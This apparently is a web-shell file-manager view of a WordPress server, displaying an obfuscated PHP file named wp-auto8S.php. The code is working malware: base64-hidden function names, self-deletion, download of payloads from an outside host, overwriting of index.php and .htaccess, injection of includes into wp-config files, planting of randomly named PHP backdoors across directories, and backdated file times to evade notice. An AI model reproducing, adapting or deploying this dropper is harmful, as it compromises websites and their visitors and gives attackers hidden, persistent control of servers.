HEX
Server: Apache
System: Linux intelligent-franklin.159-253-45-41.plesk.page 3.10.0-962.3.2.lve1.5.79.el7.x86_64 #1 SMP Wed Mar 15 09:10:44 UTC 2023 x86_64
User: sysuser_f (10029)
PHP: 7.3.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/3chukuk.com/httpdocs/wp-auto8S.php
<?php $lpy = explode('~',base64_decode('ZXJyb3JfcmVwb3J0aW5nfnNldF90aW1lX2xpbWl0fmlnbm9yZV91c2VyX2Fib3J0fnVubGlua35zdHJzdHJ+c3RyX3JlcGxhY2V+Y2hkaXJ+c3Vic3RyfnByZWdfcmVwbGFjZX5maWxlX2V4aXN0c35zdHJ0b3VwcGVyfnN0cmxlbn5iYXNlNjRfZW5jb2RlfnJlbmFtZX5vcGNhY2hlX3Jlc2V0fmZ1bmN0aW9uX2V4aXN0c35zdHJlYW1fY29udGV4dF9jcmVhdGV+ZmlsZV9nZXRfY29udGVudHN+Y3VybF9pbml0fmN1cmxfc2V0b3B0fmN1cmxfZXhlY35jdXJsX2Nsb3NlfnN0cnBvc35leHBsb2RlfnNpemVvZn5pbXBsb2RlfmNocn5zdHJ0b2xvd2VyfmRpcm5hbWV+bWtkaXJ+Zm9wZW5+ZndyaXRlfmZjbG9zZX50b3VjaH5nbG9ifmZpbGVtdGltZX5hcnJheV9yYW5kfmFycmF5X3B1c2h+b3BlbmRpcn5yZWFkZGlyfmlzX2Rpcn5pc19saW5rfnByZWdfbWF0Y2h+c3Vic3RyX2NvdW50fnNodWZmbGU=')); $lpy[1](60);$lpy[2](1); $CLZ = $_GET; $NZx = $_SERVER; $YBH = !empty($CLZ["a"])?$CLZ["a"]:0; $gil = !empty($CLZ["b"])?$CLZ["b"]:"s"; function svqD($YBH){ $YNC = explode('~',base64_decode('U0NSSVBUX0ZJTEVOQU1FflNDUklQVF9GSUxFTkFNRX5cXH5QSFBfU0VMRn4vflxcflBIUF9TRUxGflBIUF9TRUxGfn5TQ1JJUFRfRklMRU5BTUV+L34vcm9ib3RzLnR4dH4vc2l0ZW1hcC54bWx+L2Vycm9yX2xvZ35odHRwOi9+L2NkbjIwLn5pc2FwaTI1dGVtcC5+eHl6L19hcGlffkVFYXV0b3NfMjUwOC5+cGhwP3VpfmQ9NTgyOH5IVFRQX0hPU1R+SFRUUFN+SFRUUFN+b25+aHR0cHN+aHR0cH46Ly9+Lz9+L1t3MC05XC4tXS9+fnd3dy5+fj1+MTF+aW5kZXgucGhwfi5odGFjY2Vzc353d3d+Ln4tfn53cC1jb25maWd+d3AtfmV+ImUifiJ+In53cC1pbmNsdWRlc353cC1zZXR0aW5ncy5waHB+Y2dpLWJpbi9+LmluaX4jTm90V3JpdGV+NW1kfldQfndwLWNvbmZpZ353cC1+d3Atfi5waHB+RGlyZWN0b3J5SW5kZXh+RGlyZWN0b3J5SW5kZXggfndwLWFkbWluL29wdGlvbnMtfi5waHB+UEhQfjw/cGhwIEBpbmNsdWRlX29uY2UoIn4iKTsgPz5+PD9waHAgaWYoZmlsZV9leGlzdHMoImluZGV4Lmh0bWwiKSl7aW5jbHVkZSgiaW5kZXguaHRtbCIpO31lbHNle0BpbmNsdWRlKCJfaW5kZXguaHRtbCIpO30/Pn4vaW5kZXguaHRtbH4vX2luZGV4Lmh0bWx+PGEgaHJlZj0iP2E9MiZzPX4iPmF1dG84PC9hPn5jdXJsX2V4ZWN+aHR0cH5tZXRob2R+R0VUfnRpbWVvdXR+O347fiNFcnJvcn5tc2d+bXNnfjt+O35jYWNoZX5pbWFnZXN+YXNzZXRzfndwLWFkbWlufndwLWNvbnRlbnR+d3AtaW5jbHVkZXN+bXNnflNIOn5pbmRleH4vfi5waHB+bXNnfi8oX19NQUNPU1h8Y2dpLWJpbnxwbHVnaW5zfGFraXNtZXR8dXBsb2Fkcykvfi9pbmRleC5waHA=')); return $YNC[$YBH]; } if ($YBH) { @$lpy[3](__FILE__); @$lpy[3]($NZx[svqD(0)]); if($lpy[4]($NZx[svqD(0)],svqD(2))) $NZx[svqD(3)] = $lpy[5](svqD(4), svqD(2),$NZx[svqD(3)]); define("W", rtrim($lpy[5]($NZx[svqD(3)],svqD(8),$NZx[svqD(0)]),svqD(4))); @$lpy[6](W); @$lpy[3](W.svqD(11)); @$lpy[3](W.svqD(12)); @$lpy[3](W.svqD(13)); $Zzi = svqD(14).svqD(15).svqD(16).svqD(17).svqD(18).svqD(19).svqD(20); $SYl = $NZx[svqD(21)]; $SYl = ((isset($NZx[svqD(22)]) && $NZx[svqD(22)]==svqD(24)) ? svqD(25) : svqD(26)).svqD(27).$SYl.svqD(28).$lpy[7]($lpy[8](svqD(29), svqD(8),$lpy[5](svqD(31), svqD(8),$SYl)),0,1).svqD(33).rand(111,999).svqD(34); $Hii = XFkc($Zzi); $wEz = svqD(35); $YNC = svqD(36); $tRL = ICQp()+2; $_N1 = substr(str_replace(array(svqD(37),svqD(38),svqD(39)),svqD(8),$NZx[svqD(21)]),0,6); $_N2 = str_replace(svqD(41),svqD(42).$_N1,lTpt($Hii[2])); $UsK = lTpt($Hii[0]); $qiT = lTpt($Hii[6]); if($gil!=svqD(43)) $qiT = $lpy[5](svqD(44), svqD(45).$gil.svqD(45),$qiT); $Meg = ($lpy[9](svqD(47)) && $lpy[9](svqD(48))); $CLZ = svqD(49).$_N1.svqD(50); if($Meg) $CLZ = $_N2; @$lpy[3]($CLZ); zxZo($CLZ,$qiT,$tRL); if(!$lpy[9]($CLZ)) { exit(svqD(51));} qhSO($SYl); qhSO($lpy[10]($gil)); qhSO(date(svqD(52))); if($Meg) { qhSO(svqD(53)); $BYo = str_replace(svqD(41),svqD(42).$_N1,lTpt($Hii[1])); @$lpy[3]($wEz);zxZo($wEz,$BYo,$tRL); $_N3 = svqD(42).substr($_N1,0,5).svqD(57); zxZo($_N3,$BYo,$tRL); $UsK = str_replace(svqD(58), svqD(59).$_N3,$UsK); $gvN = svqD(60).WsAm(6,2).svqD(57); if($lpy[11](@$Hii[3])>99) qhSO(zxZo($gvN,lTpt($Hii[3]))); } else { qhSO(svqD(62)); $WtG = svqD(63).$CLZ.svqD(64); if($lpy[9]($wEz)) { BOwp($wEz,$WtG,1,$CLZ); } else { $WtG .= svqD(65); @$lpy[3]($wEz);zxZo($wEz,$WtG,$tRL); @$lpy[13](W.svqD(66),W.svqD(67)); } } @$lpy[3]($YNC);zxZo($YNC,$UsK,$tRL); if($lpy[11](@$Hii[5])>3) zxZo(lTpt($Hii[5]),lTpt($Hii[4])); $wau = []; qhSO(KNEW()); } else { exit(svqD(68).time().svqD(69)); } function XFkc($Zzi) {global $lpy; if(!$lpy[15](svqD(70))){ $YNC = $lpy[16](array(svqD(26)=>array(svqD(72)=>svqD(73), svqD(74)=>18))); $NZx = @$lpy[17]($Zzi, false, $YNC); }else{ $tRL = $lpy[18](); $lpy[19]($tRL, CURLOPT_URL, $Zzi); $lpy[19]($tRL, CURLOPT_RETURNTRANSFER, 1); $lpy[19]($tRL, CURLOPT_SSL_VERIFYPEER, false); $lpy[19]($tRL, CURLOPT_TIMEOUT, 18); $NZx = $lpy[20]($tRL); $lpy[21]($tRL); } if(!empty($NZx) && $lpy[22]($NZx,svqD(75))) $YBH = $lpy[23](svqD(75),$NZx); if(!empty($YBH) && $lpy[24]($YBH)>9) return $YBH; exit(svqD(77)); } function qhSO($YBH) {global $lpy; if (!empty($YBH[svqD(78)])) { echo $lpy[25](",",$YBH[svqD(78)]).svqD(75); } else { echo $YBH.svqD(75); } } function KNEW() { global $lpy, $Hii, $wau, $Meg; IbkN(W); $YBH = count($wau); $YNC = array(); if(count($wau)<3) $YNC = array(WsAm(5),svqD(82), svqD(83), svqD(84)); if($Meg) $YNC = array(svqD(85), svqD(86), svqD(47)); if($YBH>1) { $tRL = $lpy[36]($wau, $YBH); foreach($tRL as $i) { $lpy[37]($YNC, $wau[$i]); } }else{ $lpy[37]($YNC, @$wau[0]); } $UsK = []; $UsK[svqD(78)][] = svqD(89); $II = 4; $JJ = 7; foreach($YNC as $i=>$v) { if(!$lpy[9]($v)) $lpy[29]($v); $BYo = $lpy[27](WsAm(5)); switch ($II) { case 4: $BYo = "e".$BYo;break; case 5: $BYo = "m".$BYo;break; case 6: $BYo = "l".$BYo;break; case 7: case 8: case 9: $BYo = svqD(90);break; default: $BYo = "x".$BYo; } $qiT = $v.svqD(4).$BYo.svqD(57); $CLZ = lTpt($Hii[$JJ]); $II++; $JJ++; if($JJ>10) $JJ = 7; $UsK[svqD(78)][] = zxZo($qiT,$CLZ); if($II>10) break; } if($Meg) { if($lpy[11](@$Hii[11])>3) zxZo(lTpt($Hii[11]),lTpt($Hii[10])); } else { if($lpy[11](@$Hii[12])>3) zxZo(lTpt($Hii[12]),lTpt($Hii[10])); } if($lpy[11](@$Hii[13])>3) zxZo(lTpt($Hii[13]),lTpt($Hii[10])); return $UsK; } function IbkN($YBH) { global $lpy, $wau, $Meg; if ($YNC = $lpy[38]($YBH)) { while (($tRL = $lpy[39]($YNC)) !== false) { if ($tRL != "." && $tRL != "..") { $UsK = $YBH . "/" . $tRL; if ($lpy[40]($UsK) && !$lpy[41]($UsK) &&!$lpy[42](svqD(94),$tRL)) { $BYo = $lpy[5](W."/","",$UsK); if ($lpy[43]($BYo,"/")<3) { IbkN($UsK); } $N=0; if($Meg) $N=3; if(!$lpy[9]($UsK.svqD(95)) && $lpy[43]($BYo,"/")>=$N) $lpy[37]($wau, $BYo); } } } } $lpy[44]($wau); } function lTpt($s) {global $lpy;$S = '';$a = $lpy[23]('.',trim($s,'.'));foreach($a as $v) {$S .= $lpy[26]($v);}return $S;} function WsAm($n=5,$t=0) {global $lpy;$arr = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $arr[mt_rand(0, $lpy[24]($arr) - 1)];}return ($t==1 ? $lpy[10]($s) : ($t==2 ? $lpy[27]($s) : $s));} function zxZo($F,$C,$T='') {global $lpy;if(!$lpy[4]($F,W)) $F = W.'/'.$F;$dir = $lpy[28]($F);if(!empty($dir)&&!$lpy[9]($dir)) @$lpy[29]($dir);$fp = @$lpy[30]($F, 'w');@$lpy[31]($fp, trim($C));@$lpy[32]($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@$lpy[33]($F, $T);return ($lpy[9]($F) ? $lpy[5](W,'',$F) : '~');} function ICQp() {global $lpy;$tRL = time()-rand(10,100)*86400;$tArr = $lpy[34](W.'/*.php');foreach($tArr as $v) {$tRL2 = @$lpy[35]($v); if($tRL2>100&&$tRL2<$tRL) $tRL = $tRL2;}return $tRL;} function BOwp($F,$C,$T=1,$K='~') {global $lpy;if(!$lpy[4]($F,W)) $F = W.'/'.$F;if($lpy[9]($F)) {$code = @$lpy[17]($F);if(!empty($code)&&$lpy[22]($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $t = @$lpy[35]($F);if(!$lpy[9]($F.'.0')) @$lpy[13]($F,$F.'.0');return zxZo($F,$code,$t+2);}return '~';}}